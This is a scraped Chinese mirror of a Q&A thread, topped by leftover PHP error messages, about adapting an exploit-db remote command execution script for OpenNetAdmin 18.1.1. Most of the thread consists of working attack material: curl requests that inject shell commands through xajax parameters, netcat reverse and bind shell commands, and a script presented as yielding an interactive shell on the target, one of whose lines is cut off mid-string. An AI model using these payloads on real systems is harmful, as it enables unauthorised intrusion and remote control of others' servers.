Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/linux/23.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/fortran/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Linux 利用Bash语法问题进行攻击_Linux_Bash_Syntax_Exploit_Shellcode - Fatal编程技术网

Linux 利用Bash语法问题进行攻击

Linux 利用Bash语法问题进行攻击,linux,bash,syntax,exploit,shellcode,Linux,Bash,Syntax,Exploit,Shellcode,我发现了OpenNetAdmin 18.1.1的攻击数据库 我必须调整这个脚本,使它为我工作,但我没有做到这一点。 这就是我到目前为止所做的: URL="xxx.xxx.xxx.xxx/ona" while true;do echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]

我发现了OpenNetAdmin 18.1.1的攻击数据库

我必须调整这个脚本,使它为我工作,但我没有做到这一点。 这就是我到目前为止所做的:

URL="xxx.xxx.xxx.xxx/ona"
while true;do
 echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
输出仅为:

{nc -e /bin/sh xxx.xxx.xxx.xxx 4444 }
我对语法有点纠结


我做错了什么?

如果您只需要启动nc程序,这就是您想要的。该脚本假定远程机器是一台Linux机器,使用-e支持编译/bin/bash和nc(netcat)

#!/bin/bash
URL="http://.../ona" 
cmd="nc -l -p 4444 -e /bin/sh"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

我找到了一个适合以下情况的解决方案:

#!/bin/bash
URL="http://xxx.xxx.xxx.xxx/ona/"
while true;do
 echo -n "{/bin/sh -i}"; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltip>
done
只需将xxx.xxx.xxx.xxx替换为要攻击的目标,并将脚本保存为
shell.sh

现在使用
/shell.sh
运行脚本,您将在目标系统上获得一个交互式shell


验证您现在是否可以键入
pwd
id
并检查您是否成功。

为什么要以这种方式更改利用漏洞脚本?如果你看到原来的一个,在,它只是一个$symbol,模拟一个shell,要求你在下一行中启动一个命令,curl利用了漏洞,你需要更清楚地解释你想用这一行做什么。如果您想将
nc
的输出读入
cmd
中,那么可能
read cmdnc-e/bin/sh xxx.xxx.xxx.xxx 4444创建一个反向shell,该漏洞通常如何使用?您将如何使用t?看起来您刚刚在web应用程序中运行了/bin/sh。尝试更改要在远程服务器上运行的命令。例如“uname-a”或“whoami”,以查看您是否有RCE。(如果利用此漏洞,web应用程序没有响应任何内容,则命令可能正在运行,在这种情况下,如果您尝试反向shell,可能有防火墙阻止您),但我应该将目标IP URL放在哪里?“x”将是我自己的ip地址,要连接到我的主机,必须将其放入URl变量中,它不应该是ip地址,而应该是http URl。要在远程机器上打开后门,语法是nc-l-p4444-e/bin/bash。为什么希望远程计算机连接到本地计算机上的后门?